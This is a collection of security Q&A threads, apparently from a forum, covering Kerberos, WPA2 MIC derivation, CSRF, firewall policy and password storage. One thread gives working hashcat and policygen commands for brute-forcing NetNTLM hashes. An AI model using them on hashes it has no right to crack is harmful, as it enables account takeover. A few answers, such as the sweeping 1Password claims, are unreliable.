How secure is isolated storage on Windows? I am using Isolated Storage with the following flags:

IsolatedStorageScope.User |IsolatedStorageScope.Domain | IsolatedStorageScope.Assembly

How much security will this provide? Are there any vulnerabilities or gotcha's?

Note: I am not solely relying on isolated storage. My application encrypts the data, but without recording the password. Of course, it will be vulnerable to key loggers and programs that read the decrypted data from RAM, but I don't think its possible to protect against these.

You should look at the .net SecureString class if you are worried about storing data in RAM: http://msdn.microsoft.com/en-us/library/system.security.securestring.aspx

Here is some important info about isolated storage: http://msdn.microsoft.com/en-us/library/3ak841sy.aspx

  Although isolated storage is well suited to the scenarios described
  previously, there are a few cases in which you should not use isolated
  storage:

  Do not use isolated storage to store high-value secrets, such as
  unencrypted keys or passwords, because isolated storage is not
  protected from highly trusted code, from unmanaged code, or from
  trusted users of the computer.

Without knowing more about your application you might want to look at using DPAPI via the ProtectedMemory class.

This way you either secure the data based on the current user, or based on the current machine. Obviously if you can restrict it to the current user the data will be more safe.

So, Isolated storage provides a safe place to store data (you won't have to worry about overwriting other applications data, but it is not secure). ProtectedData will ensure that the data is secure where it is stored.

Hope that helps.

Ross


How does the "Privacy Protection" option from domain names registrars work? Some domain names registrars are offering a "Privacy Protection" option to hide your registrant details. Your whois infos will then refer to the "privacy company" providing this service instead of the ones you entered with your registrar. How do those services technically work, and what are their benefits compared to simply entering bogus information?

They "technically" work by providing the company name and address to the whois database instead of yours.  That's it.

The main advantage is that you don't get your domain revoked for providing bogus information.  And you can still be contacted through the registration company where needed.


Choosing a group of symbols that contains a password My bank employs a step in its authentication process besides [the card itself and] the regular password, where the user has a secondary password (3 small sequences of letters, such as Hy X Ba) previously given to him (not chosen at will). When authenticating, he is presented with 8 options such as:

1)  Vi - A - Ha - Re - K - Po        Me - Ni - C - Da - X - Xo  (5
2)  F - V - Ce - Xi - Go - Ka        Je - Va - Ko - Z - Qi - M  (6
3)  Sa - N - Bo - Pe - J - Wi        Mi - Vo - Hy - Ta - Q - G  (7
4)  Lo - Ti - Y - Xa - Ne - D        L - Mo - Ba - B - Zi - Le  (8

And he has to choose the group that contains the first sequence (in this case, the group 7 contains Hy). Then a new set of groups show up for him to find the second sequence, and another for the third sequence. The next time the user tries to authenticate, the process repeats, but with different groups each time. This usually happens at ATMs.

I'm intrigued by this technique, and want to learn more, but I don't even know where to start. Have anyone seen something like this before, does it have a name I could look up? Or if someone knows it well, could you comment on it?

I don't know how it works precisely, but my first impressions about it (which might be totally incorrect) are:

Each time the user chooses a group he proves knowledge of the password, without revealing it though - if someone peeks while he's authenticating, the attacker can only narrow it down to the symbols in the chosen group (the made up example above has 6 symbols in each group, but in practice there's more, I can't recall exactly how many).
To correctly learn the symbol an attacker would need to observe multiple authentication attempts. How many exactly, it would depend on how the groups are formed each time, whether or not they depend on previous attempts, etc.

(This is just a guess, I'm not even sure the purpose of this technique is what I think it is...)

You are correct!

This techniques is there to prevent your passwords from Shoulder Surfing. As you said, it allows a user to prove the knowledge of his password without, revealing it to the person who is shoulder surfing the user. There are many other proposed solutions to the problem of shoulder surfing, including some Graphical Password schemes. This survey on Graphical Passwords contains few schemes which can be used to prevent shoulder surfing.


Kerberos Encryption and Decryption Hacker is able to sniff the traffic between the editor, the KDC and the network scanner during the key exchange. Is he/she able to decrypt the sniffed data key?

Kerberos is designed to provide secure authentication over insecure networks, and uses pre-agreed (during enrolment) or randomly generated symmetric keys to encrypt data between the KDC and the client.
Provided your choice of encryption algorithms are sound, this will ensure that an attacker cannot decrypt the data without brute-forcing the encryption algorithm.

Kerberos can use a variety of cipher algorithms to protect data. A Kerberos encryption type (also known as an enctype) is a specific combination of a cipher algorithm with an integrity algorithm to provide both confidentiality and integrity to data.
Clients make two types of requests (KDC-REQ) to the KDC: AS-REQs and TGS-REQs. The client uses the AS-REQ to obtain initial tickets (typically a Ticket-Granting Ticket (TGT)), and uses the TGS-REQ to obtain service tickets.
The KDC uses three different keys when issuing a ticket to a client:

The long-term key of the service: the KDC uses this to encrypt the actual service ticket. The KDC only uses the first long-term key in the most recent kvno for this purpose.

The session key: the KDC randomly chooses this key and places one copy inside the ticket and the other copy inside the encrypted part of the reply.

The reply-encrypting key: the KDC uses this to encrypt the reply it sends to the client. For AS replies, this is a long-term key of the client principal. For TGS replies, this is either the session key of the authenticating ticket, or a subsession key.

MIT Kerberos Documentation


How dangerous is this Network? Our school requires everyone to bring their own laptops for homework, etc.

It uses something called 'Genian NAC' to authenticate users.
I can either use Ethernet or Wi-Fi to connect, but both require a couple of programs to be installed

V3 (AV)
A security program NAC agent: "My PC Keeper"

If not authenticated [Manually approved by teachers], it shows a specific page saying "You are not authenticated" and it shows my IP, MAC address and computer name, plus a number for tech support.

The Wifi uses WPA2-Enterprise-TTLS-PAP, and EVERYONE SHARES THE PASSCODE
There are two Wi-Fis, Teacher and Student
Teacher network can be connected using student credentials.
The Ethernet is... well, the usual wall port.

Just how much security-insensitive is the network?

How much can the NAC agent do on my laptop? It doesn't have the Mac version, though (I don't think that will matter a lot but ideas are welcome).

I would suggest only installing these programs in a clean Virtual Machine(VM) you only use while on the school network.  Additionally only allow this VM to connect to the network not your host which presumably has personal data on it.

Refer to: https://superuser.com/questions/413050/can-i-pass-internet-connection-on-to-a-virtual-machine-but-forbid-it-on-host


How is the MIC (message integrity code) generated in WPA2? We know that in WPA2's four-way handshake, a MIC is generated in order verify the supplicant (client). But how it is generated? Is something hashed to get the MIC? The PTK (pairwise transient key) depends on the nonces and MAC addresses and also the PMK (Pairwise Master Key); what are the inputs upon which the MIC depends?

According to https://www.shellvoide.com/wifi/understanding-wpa-wpa2-hash-mic-cracking-process-python/, the MIC is computed on each message as an HMAC using the Key Confirmation Key (KCK) as the key, the message payload as the body, and the SHA1 hashing algorithm (in WPA2; WPA1 used the MD5 hashing algorithm).
MIC = HMAC_SHA1(KCK, payload)

The KCK is a portion (first 16 bytes) of the Pairwise Transient Key (PTK). The PTK is computed using a custom pseudo-random function (PRF) itself based on iterated HMAC-SHA1 using the PMK (Pairwise Master Key) as the key, and the payload incorporating various constants plus MAC addresses of client and access point (AP) and the client and AP nonces. See the linked article for an implementation of the custom PRF and its constants. The PMK is 32 bytes computed using PBKDF2 (Password-Based Key Derivation Function 2) with the pre-shared key (PSK, the password in plain text) as the password and the SSID as the salt, 4096 iterations, and the HMAC-SHA1 hashing algorithm.
KCK = PTK[0:16]
PTK = CustomPRF(PMK, "Pairwise key expansion", SUM(CL_MAC, AP_MAC, SNONCE, ANONCE))
PMK = PBKDF2(PSK, SSID, 4096, HMAC_SHA1)[0:32]

As such, the MIC is computed by hashing (using SHA1, for WPA2) the message body with the KCK appended and prepended (that being the HMAC construction). The following fields all go into computing the MIC:

The message body
The PTK, which is based on:

The MACs of the client and AP
The nonces of the client and AP
The PMK, which itself is based on:

The PSK (password)
The SSID


CV to a Suspicious Professor Here's the situation: we have this professor this semester who is an excellent teacher and is very friendly, but he has some ego issues. He promised a few of us internships at Princeton, Stanford, etc. and backed it up by saying he studied in those universities and has a lot of influence there.

Naturally we were drawn and submitted our CVs to him like he asked, but when we googled him, things failed to add up. He does have a few research papers to his name but has no obvious Princeton or Stanford association, so we're starting to suspect a scam.

My question is: should we be worried about identity theft, or some other scam since we gave him our CVs?

As a professor, he has surely access already to most of the personal information you may provide in a CV. So I do not see any problem inherent to identity theft.

Linkedin is an example where you can read the careers of known and unknown people to you.

However, in general, an attacker may use personal information for some social engineer procedure to get something (may be just information) illegally. Also, if you are American, writing your birthday on your CV (many do it) is a a bad thing (How dangerous is it to reveal your date of birth, and why?).

But coming back to your professor, he has nothing nefarious to do with your CV as most of information provided in it is already in his hands since the first day he started to teach you.


Can he see the websites I visited? I live with someone in the same house so we both use the same wifi. He knows the wep password because he set it up in the first place. He's not a hacker but he can set the wifi system at home. He has some computer knowledge from college.

Can he actually see the websites I visited? The URLs? What else can he see?

You mean he can actually see these things without having to hack? So this kind of information is not only available to hackers?

He knows the wep password because he set it up in the first place.

Firstly, WEP? If you are using WEP, anyone who knows how to download some tools and owns a laptop will be able to  see your network traffic. WEP is terrible.

  Can he actually see the websites I visited? The URLs? What else can he see?

Basically, if the guy is on the same network as you, he can see everything you do. If the websites you are visiting is being served through HTTPS, he will not be able to see the exact data you are sending but he will still be able to tell where and when you visit the site.


Bruteforce with hashcat, how to set the mask properly? Let's say I've an hash of this type:

test::::4e45c7bab093d7011e9b3a5df7d9fa88212beac5ac9c8c47:d6ff3373aa353f3b:123456

I would like to bruteforce it using hashcat, but I'm failing to set the correct mask.

Here's what I'm executing:

hashcat -m 5500 test.txt -a 3 $MASK

It's right so far? In that case I would need only to set properly the $MASK.

One mask should be like this:

length min = 8 characters
length max = 20 characters
must contain at least one lower case character (a-z)
must contain at least one upper case character (A-Z)
must contain at least one number (0-9)

and the second mask should be like the previous one plus these two constraints:

must contain at least one special character
must NOT contain one or more identical consecutive characters

P.S.
I'm not using dictionary attack because I've downloaded the huge dictionary of crackstation (15GB) and didn't work out on many hashes

Thanks.

Complexity rules like these cannot be natively captured by a single mask. Instead, a list of many masks that fit the criteria must be generated using other tools, such as the policygen tool from the PACK toolkit.

$ policygen --minlength=8 --maxlength=20 \
  --mindigit=1 --minlower=1 --minupper=1 --maxspecial=0 -o test1.masks

$ policygen --minlength=8 --maxlength=20 \
  --mindigit=1 --minlower=1 --minupper=1 --maxspecial=1 -o test2.masks

(Note that these examples don't include your "one or more identical consecutive characters" constraint, because A) this dramatically increases the complexity of the masks, almost to the point of impossibility, and B) it does very little to speed up the cracking process, so it's not worth including.)

You then pass hashcat that file containing the masks:

hashcat -m 5500 -a 3 test.txt test1.masks
hashcat -m 5500 -a 3 test.txt test2.masks

Be aware, however, that bruteforcing longer lengths (like 12, let alone 20) will take longer than you have. If you haven't already, I recommend that you try other methods (dictionaries, hybrid, etc.) before resorting to brute force.


Benefits of REJECT over DROP on a single PC Recently I learned about the difference between DROP and REJECT in a firewall.

I understand that REJECT is better because it closes the connection immediately instead of waiting for timeout as DROP does, and also it's better for troubleshooting.

I think this is of benefit for a server which handle many connections, but what about a personal computer? Is there any benefit using REJECT over DROP in a PC?

REJECT is nicer to other people: if the connection is the result of an honest mistake (a configuration error) then whoever tried to initiate a connection receives the standards-approved response that nobody is listening on that port. With DROP, nothing is returned, so whoever is trying to connect will wait until it gets bored.

While REJECT seems better for troubleshooting, a case can be made about how DROP is actually better for tracking bugs. Indeed, imagine a client system that can connect to several servers, until one is found that responds successfully (in a way similar to DNS servers). If the first server in the list is misconfigured, but a REJECT is used, then human users will not notice anything: every attempt will try that server and be promptly responded to with an error packet, and the client system immediately connects to the second server. Such a situation can be in force for a long time, since the human user sees nothing wrong. On the other hand, with a DROP policy, the misconfiguration shows up as a timeout delay for every request, which will induce the human user to investigate.

Indeed, in my daily job, where I must regularly investigate such issues(*), the delay coming from a bad DNS configuration somewhere is often an invaluable tool to pinpoint the problem.

For a personal PC, an additional technical point is asymmetry. Namely a home PC with some Internet access will usually get a lot more download bandwidth than upload (that the 'A' in ADSL). When someone sends to your PC a connection attempt (a TCP SYN), this uses a tiny fraction of your download bandwidth. However, if your PC responds with a rejection (a TCP RST), then this response will use a bit of your upload bandwidth. This opens the possibility of an easy denial-of-service: if you have 10 Mbs download and 1 Mbs upload bandwidth, and you use the "nice" REJECT, then the attacker only needs to send you for about 1 Mbs SYN packets to saturate your network, whether he would need to send ten times as many if you DROP.

In that sense, DROP is probably better than REJECT on a general basis, at least for a home PC. Or, maybe even better, a rate-limiting policy which behaves like REJECT up to some threshold and DROP afterwards (e.g. no more than 10 RST packets sent back per second); I don't know if iptables can be easily configured to do that.

(*) Nominally I am supposed to help design some hairy PKI-related systems, but in practice I spend a lot of time doing this.


How to secure an application under iOS against jailbroken devices I noticed that some apps, e.g. Skype, is capable to exit and not run in case one has jailbroken his iOS based device.

I couldn't find online how to check that a device is jailbroken. Please anyhelp from the IT Security community?
Is there other means, other than just closing the app?

You have two problems (or more).

Firstly, anything you might try to do to detect a jailbroken system could be interpreted by Apple as an attempt by your app to violate the sandboxing conditions, which could lead to your app being rejected. For example, let's say you tried to detect a jailbroken OS by if (-1 != open("/dev/random", O_RDONLY)). Apple might assume you're trying to read from /dev/random and reject you.
Anything you might try to do to detect a jailbroken system could be patched by the jailbreak community. For example, they might patch their kernel to forbid your app from opening /dev/random, because they know you're only doing it to detect a jailbroken OS.

What else would you want to do? You don't trust the OS you're running on, so you give up running on it.

In short, jailbreaking is not your problem, it is Apple's problem. Allow Apple to solve their problems and concentrate on solving yours. (Incidentally I do wonder how people ever released PC software if they don't trust jailbroken iOS, when Windows and jailbroken iOS basically allow the same things to happen.)


Why was the NX bit unable to stop WannaCry? I'm working on a presentation to give to high school computer science students where I work at as a volunteer.  Part of the presentation is on local and network exploits.  I am planning to talk about a story where years ago I was able to get root access by creating a program with an intentional buffer overflow, setting the setuid bit, and running a NOP slide to execute shellcode.  When running this program on a modern OS or modern hardware, the exploit no longer works because of the NX bit.  (I got this technique from the book "Hacking, the art of exploitation").

I also plan to talk about WannaCry ransomware. Referencing this FireEye link on WannaCry, they talk about that after the malformed packet was sent to SMBv1 on port 445, the software was able to run a NOP slide and then run shellcode.

So my question is, why was the NX bit (either from the OS or the CPU) unable to stop WannaCry from working?

WannaCry first triggered secondary SMB transactions, and then used bugs (uninitialized packet buffers) of srv2.dll to invoke buffer overruns.

NetApi32.dll is capable to bypass NX on some OS versions and service packs (ref, exploit).


Securing Web Contact Forms Against Spams I created a web contact from with the following restrictions:

An IP can send only 1 query per 8 hours.
A generic text based bootstrap captcha for the form (I know this can be replaced with reCaptcha)

Still, I am getting anonymous hits by some IPs, which are spamming my form. Thanks to the IP restriction I created, I am not getting much of them, but still getting spams.

I am searching for any solution, other than the one suggested by sampablokuper in this answer https://security.stackexchange.com/a/110074/106708, which says, I can send user a confirmation email for the submission of the enquiry. That is a feasible answer, but I am using GoDaddy SMTP Servers, which are delivering mails with a prominent delay.

Also, what would be the motive of the spammers, they are sending texts in languages which I could not understand, they put the phone or email, which is also fake. I cannot understand the motive of the spammer.

You will never prevent all spammers; not with a CAPTCHA or any technical means.  Some spammers hire "smurfs", which are large numbers of people who each send one spam per web site, but each person spams hundreds of sites.

The motive of the spammers is likely to use your site to deliver their spam in your response emails.

If your response to the contact form is to repeat whatever the user typed, then the message your spammers enter into your contact for will reach their target audience.  Your ordinary response email looks like this to you:

To: Sibidharan@example.com

Thank you for your inquiry.  You wrote:

"I have a problem ordering widgets,
 can you fix my problem?"

We will process your question promptly.
Thank you,
Example.com staff

The spammers want to send their spam to a victim.  They go to your Contact Us page, where they put in the victim's address as their address.  In your "Please enter your message" field, they put in their spam message in the victim's language:  "BUY OUR CHEAP DRUGS SEND EMAIL TO CHEAP AT DRUGS DOT COM".  They then submit their comments.  The victim will receive this email from you:

To: victim@contoso.com

Thank you for your inquiry.  You wrote:

"BUY OUR CHEAP DRUGS SEND EMAIL
 TO CHEAP AT DRUGS DOT COM"

We will process your question promptly.
Thank you,
Example.com staff

But the victim does not speak English.  They will only see this:

To: victim@contoso.com

blah-blah-blah-in-English

"BUY OUR CHEAP DRUGS SEND EMAIL
 TO CHEAP AT DRUGS DOT COM"

blah-blah-blah-in-English

To fight this, have your emailed response be generic:

To: victim@contoso.com

Thank you for contacting Example.com.
Your email is important to us and will be processed within 48 hours.

Example.com staff

That way whatever the spammers type will never reach the email clients, hopefully taking away the motive for the spammers to use your service.  Your real response, of course, could include the original question, but your service agents would not be responding to obvious spam.


Generating SSH keys and sending the private key I've been looking up on how to set up public key authentication between two hosts on my LAN. I am going to be using a pass phrase with my key pair.

A lot of tutorials instruct me to generate the key pair and send the public key to the target machine. Is it OK to send over my private key instead? Sometimes other hosts on my LAN are Windows and they don't always have the means to easily generate public keys, so it's often easier to generate them elsewhere.

I understand that given the environment it would be low risk, but let's assume I was doing this across WANs too.

I wouldn't. Private keys are meant to be private, the intention is that you protect the private key intensely and provide the public key to whichever other party needs it (which can be used to decrypt the information encrypted with your private key). This is the beauty of PKI.

If you're concerned about generating a keypair on Windows, use PuTTY. It's got a fantastic tool for this and works great, and pretty easily too.


Android FDE - Why is key stored in RAM at all? As far as I understand, the device's /data partition remains decrypted once an encrypted devices has been unlocked during boot up. Why does Android have to keep encryption keys within RAM if no "live" decryption / encryption is actually happening?

I think you understand the concept wrong. The encrypted partition will not be fully decrypted on mounting, then stored somewhere on the device and then encrypted again (to save the changes) whenever the partition gets unmounted. Instead the key is known the the kernel (i.e. it is in RAM) and it can thus decrypt and encrypt data on the fly.


Identify anonymous mobile phone user by network participants I have wondered this for quite some time but have not found any references. In the TV series "The wire" they use disposable prepaid mobile phones as a counter-surveillance technique. However if someone uses a prepaid mobile phone and connects to the same people as with his old phone, wouldn't this uniquely identify him? For example if Alice knows Bob and also Eric, while Eric lives in a town far away. Now Alice buys a new burner phone and still messages with Bob and Eric, what are the odds that another network user who is not Alice knows Bob and Eric too? I mean only knowing two people - even if Eric lived in the same area as Bob - will greatly reduce the number of suspects. Is this technique used? And where can I read up on it? I'm interested in the technical as well as legal aspects of this method.

Is this technique used?  I can't speak specifically to mobile phones, but in general, it's a regularly used technique usually referred to as de-anonymization or re-identification.

One common legal application is in web advertising.  Advertisers aren't allowed to have access to your personally identifiable information, but they may have access to your anonymized information and some unique identifiers (usually from cookies or browser fingerprinting).  Those unique identifiers can become lost or replaced as cookies expire or are deleted, but by cross-referencing patterns and other anonymized information, it's sometimes possible to draw a conclusion that two different unique identifiers are actually the same individual.  In the advertising world, this can be used to identify that two seemingly different people are actually the same person using different devices (e.g. mobile phone, desktop, tablet) without ever actually knowing who the individual is.

That said, it's not always an easy or foolproof process, but it is possible.


Suricata IPS rules for honeypot I have a really simple high interaction honeypot and I have just installed a VM as an IPS (suricata) with a transparent bridge between my router and the honeypot. The setup looks something like this:

[Router] <----> [   IPS   ] <-------> [ Honeypot ]

My problem is that most of the IPS rule sets out there are designed to drop/alert known malicious traffic.

My objective is to let all the traffic in, and have a drop by default policy for outgoing connections.

Over the drop by default policy, I would like specific rules to allow specific things such as SSH response, HTTP response, Wget , APT (for honeypot updates and so attackers can actually download and test malware on the honeypot).

The general idea is to let all attacks in, and block all malicious outbound traffic that may harm other servers. Sort of a positive security vs a negative security approach.

Does anyone know how I could start a set of rules that would best fit this scenario, or better still, recommend a better policy for my IPS?

Alternatively, you can simply capture all traffic as pcap and run snort rules in offline mode for research/investigation.


Is it secure to use one CSRF token multiple times? I am new to the CSRF problem and I am studying how CSRF protection is implemented in popular applications like Facebook, Instagram etc. Now I am studying how CSRF protection is used in OAuth implementation.

Some services (Instagram, Todoist) allow to pass an additional argument when an OAuth authorization URL is requested. This argument is described in Instagram:

  You may provide an optional state parameter to carry through a server-specific state. For example, you can use this to protect against CSRF issues.

When I elaborated with a different code the CSRF token in form at the page where the user (dis)allows access to his account, it is the same in all requests even if I provide a different value for code. Is this OK?

Do you have an idea how they transform code into CSRF token and how is this token used for CSRF protection? Please could you explain how it works?

EDIT1

I found that one CSRF token per session is probably not a problem and generating unique token per request leads to application problem (back-button etc), source - https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet

But still I don't know how is above mentioned code parameter used or transformed into CSRF token.

Do you have an idea how they transform code into CSRF token and how is
  this token used for CSRF protection? Please could you explain how it
  works?

You're mixing things up in your question.

From your instagram quote:

  You may provide an optional state parameter to carry through a
  server-specific state. For example, you can use this to protect
  against CSRF issues.

Notice that it's the state parameter that's used for CSRF protection, and it's independent of the code and how that's exchanged for a token.

Basically, when the app sends the user off to Instagram to perform the authorization procedure, it needs a way to ensure the user that comes back with a code is the same one and not some attacker. That's where the state parameter fits in, the authorization server will reflect whatever value is in the state parameter back to the calling app, allowing it to function as a CSRF token.

The important bit is that through the whole code part of the process, the user-agent is acting as an intermediary between the app and the authorization server. The authorization server has a code for the app, but it is given to the user who then gives it to the app.

The exchange of the code for a token is not handled through the user-agent, the state parameter is no longer needed once the app has the code because it comunicates directly with the authorization server (ideally authenticated with an API key and secured with TLS).

The code is not exchanged for a "CSRF token", the code is exchanged for an access_token that allows the app to perform operations on the protected resource (the instagram account) on behalf of the user.

The CSRF token sent in the state parameter is the "client side" of your usual CSRF token (the one you put in a hidden input field on your forms).

Since the CSRF token will (by design) be sent in GET requests, it's advisable to make them unique and not reuse them. See the Disclosure of Token in URL from the OWASP article from your edit.


Passwords stored as obfuscated text, not encrypted An application I admin (but did not develop or implement) claims to be storing passwords in a database using “reversible encryption.”
I have access to the database table, and was able to work out that they’re really only obfuscated, and can determine the clear text values by applying a simple mapping. This seems very bad, am I right to be concerned? Recommended next steps?
Edit 1: The app is developed by Company A and hosted for us by Company B (SaaS). It appears the “reversible encryption” setting is out-of-the-box configuration. Unclear what changing that setting would affect, but 99% of the passwords in the table are for logging into the app itself and not related to external systems. No requirement for anyone to know anyone else’s password.

First thing I'd do is consider whether the system needs "reversibly encrypted" passwords at all (usually yes if it's sending them on to some other service rather than just verifying them when a user logs in, sometimes yes if this is required by some important customer but they should have an option to properly hash them as well). Second, since you say "a simple mapping" I assume this isn't actually using any modern cryptographic cipher primitives (AES, *fish, SALSA20, etc.), so that's definitely a security bug you can file.
Look up a security contact (email address, etc.). There should be one somewhere on the site. If you can't find one, try emailing security@company.domain, or just contact their support line and ask for a security contact.
Note that any form of reversible encryption, no matter how up-to-date its ciphers or strong its keys, suffers from a key storage problem: the program needs access to the key, which means anybody who can access the program itself can almost certainly decrypt the data. However, there are still improvements to be made from using real encryption:

Real encryption, even with a hardcoded key, will prevent anybody who doesn't know the key from reversing the encryption if they get access to the DB. It sounds like they currently don't even meet this - very low - bar.
Done correctly, the key should be unique per instance of the app. Getting access to somebody else's DB shouldn't reveal anything, even if you know the encryption key used by your own copy/instance of the software.
The key should be stored in a location as hard to access as possible. Ideally, it would be stored somewhere not actually extractable (like an HSM), with the app having the ability to request encryption and decryption of arbitrary strings but no other software allowed to access the HSM. At the very least the key needs to be separate from the DB, such that even an attacker with total, unfettered DB access can't get the key without finding a new vulnerability in some other part of the system.

It sounds like you're already well aware of why they should be using a slow password hashing function, rather than reversible encryption of any sort. Even if they need encryption for some passwords/API keys (stuff used to access external services, not to authenticate local users), they should use encryption for those secrets only, and use secure password hashing algorithms for user passwords.
If the vendor won't budge - says that it's not a security bug, or that they don't care, or just refuses to respond - give them some time and then (IMO) it's time to escalate. If possible for you, try to convince your company to threaten to cancel the contract; that's often the simplest leverage. If you can't, I would tend to move up to name and shame. Companies are usually way more likely to respond to things when it's likely to impact their bottom line, and bad publicity can do that. Sites like https://plaintextoffenders.com/, or just reaching out publicly on social media (especially to, or at least mentioning, well-known security figures), can help get the word out.
Obviously that last part isn't risk-free. There's probably something in the terms of use about not "reverse engineering" the software, and although I think this level of "cryptanalysis" doesn't count at all, I am not a lawyer. If you had to bypass any attempted safeguards to keep you out of the DB - entering a username/password of admin/admin might count, though copying a DB connection string out of a plain-text config file on a system you control does not - then that increases the risk they'd think it worthwhile to involve lawyers. A smart company wouldn't do this - siccing the law on somebody who is trying to responsibly report a security issue is a good way to get the entire security community mad at you, and some of us hold grudges and make product recommendations at big companies (and others are hacktivists) - but a smart company wouldn't let things get nearly that far to begin with. Before you take any steps beyond just reporting the issue to the vendor, especially if you have any notion of involving your company's name, you might want to talk to the legal department. However, I am not a lawyer, and this is NOT legal advice.


1Password security weakness? I was considering creating a 1Password families account because I liked the idea that 1Password never has the information needed to decrypt my passwords; however, when I created an account, I entered my master password on the 1Password website and then the website generated a PDF with my secret key.
If the 1Password website were somehow already compromised when I created an account, couldn't an attacker have the info they need from me now to decrypt my data, or am I missing something? It seems like it'd be better if some of this were done from a client-side app (assuming an attacker hadn't compromised that I suppose).
https://1password.com/files/1Password-White-Paper.pdf

Not only could 1password be hacked, they probably already have. Assuming that you have already been hacked is one of the cornerstones of modern security practice.
Even if their specific hackers haven't got access to their encryption keys, it is very likely that they'll just be voluntarily giving these keys away to a requesting government agency.
I'm something of an expert on secrets management, having designed and implemented secrets management systems for large banks. I strongly believe that if an external party has ever, even potentially, had access to a secret then it should be considered to have been disclosed, unsafe, and no longer a secret. Actually, I also believe that if a human ever has, even potentially, access to a secret, then it is also no longer considered to be secret.
Having said all that, the problem of 'initial trust' is difficult to solve. Generating an asymmetric key on your trusted device (say, your phone) and sharing one half of it with 1password to use as an encryption key while your device performs all the cryptography functions would be much safer, but would limit you to using your phone to interact with the service, and would depend on the strength of your phone's security (e.g. Samsung/Knox is the only trusted platform for most banks).
The current scheme allows government oversite and access by hackers and can not be trusted. But, it might be safer than your current scheme, so what to do with this info is still in your court.


IPsec with PSK: Can PSK be used for passive eavesdroping? I use a PSK to connect to an IPsec VPN.

Let's say an attacker can gain access to my PSK.

He can then impersonate me, that much is clear.

But would she also be able to decrypt intercepted traffic? Or at least have an advantage compared to an attacker that does not know the PSK?
I have a hard time understanding the standard.

In my understanding PSK is only used for authentication in IPSec. The key exchange itself is done with Diffie-Hellman and the PSK is not used as part of the key exchange.

An active attacker could impersonate the expected peer due to knowledge of the PSK. This way he could be part of the key exchange and thus have access to the key needed to decrypt the traffic.

But with purely passive sniffing the attacker is not involved in the key exchange. Since the exchanged key is independent of the PSK the passive attacker cannot determine the key and thus not decrypt the traffic.


How are victims targeted from outer networks (WAN) I started getting more interested about security about one year ago, and from all the things I have learned up to this day I never knew how particular victims are targeted from the attackers from outer networks knowing that the victims are behind some router in a private network and cannot be easily reached.

Now, I know that some victims are attacked by e-mail, social media, or different types of communication by malicious content and then the attacker gets a session by setting up port-forwarding on his router so the traffic goes directly to his machine and stuff like that which is pretty clear for me. However, my question remains: How does somebody attack some particular person in a wide area network (except sending him malicious content so he could open) when he is hiding behind some router/firewall, or does such targeting and attacks even occur?

P.S Sorry for my inability to ask perfectly, but I hope you understand. Thanks in return!

To directly answer your question: it is possible to either attack a program that the victim is running (which made an outbound connection through the router, and the attacker exploits the program by injecting malicious traffic as though it's a response from the server), or to compromise the router (home routers, in particular, have notoriously weak security) and from there attack the local network.

The most common case of the first attack are, of course, browser exploits. The victim's web browser sends out a request through the router to the Internet, and the attacker gets their malicious payload included in the response (possibly because the victim connected to the attacker's server directly, possibly because the attacker got their payload included in an ad network and the victim doesn't use ad blocking, possibly because the attacker compromised somebody else's server and the victim connected to that... lots of ways). The attacker's payload is received by the victim's web browser, the browser tries to execute the script or whatever, and through some memory corruption bug or similar the attacker gains code execution on the victim's computer. The payload then reaches out from the victim's computer to the attacker's computer, establishing a tunnel through which the attacker can control the victim's system, steal data, probe the LAN, and so on.

In practice, though, most attacks aren't either of those things. Phishing attacks are extremely common, and are usually trying to steal the user's credentials to something that the attackers could access (like a cloud service account) without needing to be on the LAN. If you specifically want to attack the victim's computer on their LAN, the usual way to do that is through Trojan software (if you don't care exactly who you get, and just want to hit as many people as possible) or malicious email / chat / whatever attachments (these are also sometimes automated, of course). Trojan software is usually distributed from some common source, most commonly pirate (warez) sites and torrents but also sometimes through "official" distributers like NPM (Node.js packages), Aptitude (Linux packages), mobile app stores, or similar. Attacks of the latter kind are typically discovered quickly, but because most people trust those sites and let their devices update automatically, it might hit a lot of victims first.


How secure is setting mongodb to 0.0.0.0 but blocking all incoming requests to 27017 on ec2? As the title suggests. If I set the net.bindIp setting in mongod.conf to 0.0.0.0 on port 27017 this should open it up to all incoming connections. However, if in my ec2 instance I whitelist only my local IP on 27017, will this block all other incoming connections?
I should also note I have a mongodb user with a password set for my db with security.authorization: 'enabled' also set in mongod.conf
Asking for a friend... Thanks

A few thoughts in no particular order:

It is as secure as your (or your companies) ability to leave the firewall configuration unchanged and not come back later and open it up to the whole world because, "This is inconvenient".
It is as secure as your machine is.
It is secure until your IP changes, you forget to update the firewall rule, and your current IP is reassigned
It is secure until someone is doing something else and accidentally changes the configuration without realizing it.
It is not as secure as putting the instance in a private subnet and connecting through a bastion host
It is not as secure as a database server that has no internet access at all and is sunk to the bottom of the sea after being encased in 10 feet of solid concrete

The key is to accept the fact that there is never perfect security, understand the risks posed by your chosen configuration, and find the right balance between security and usability for you.


Can I expose a passphrase-protected private OpenPGP key? I have created a 4096-bit key-pair using GnuPG.

Can I expose the passphrase-protected private key to an untrusted system? E.g. can I put that key in my Dropbox account or send it to myself as an email attachment?

Assuming, of course, that the passphrase is sufficient (20+ characters).

Compare putting the encrypted private key onto some untrusted storage with putting the unencrypted one into an encrypted container like TrueCrypt or LUKS. Technically, the result is pretty much the same, apart from OpenPGP meta data being visible for the encrypted private key.

Your key is as secure as the symmetric encryption algorithm applied for encrypting it using your passphrase. Generally, the algorithms applied are considered secure; given a reasonably long passphrase preventing brute-force attacks is used putting a private key on an untrusted storage must not be an absolute no-go.

But be aware that you're losing a second security net: given the passphrase is cracked/leaked (at any time in future!) or issues with the symmetric encryption algorithm in use are found, you lost the additional security layer of not making the encrypted private key available.

Also consider using OpenPGP smartcards for "sharing" a key between computers and especially subkeys while keeping your private primary key offline (maybe even on a thumb drive usually not connected to your computer). No matter whether you upload the key or not, for sure you've already created a revocation certificate?


DMZ and LAN data exchange - what direction should connections be made? When configuring services in the DMZ to exchange data with the internal LAN which scenario would be more secure:

DMZ service pushes data to LAN service

or

LAN service pulls data from DMZ service

Which would be more secure, to expose service running in DMZ to accept connections from LAN or prepare LAN service to be able to accept connections from DMZ.

There are different architectures in place, some use a single firewall and others use a two firewall setup.

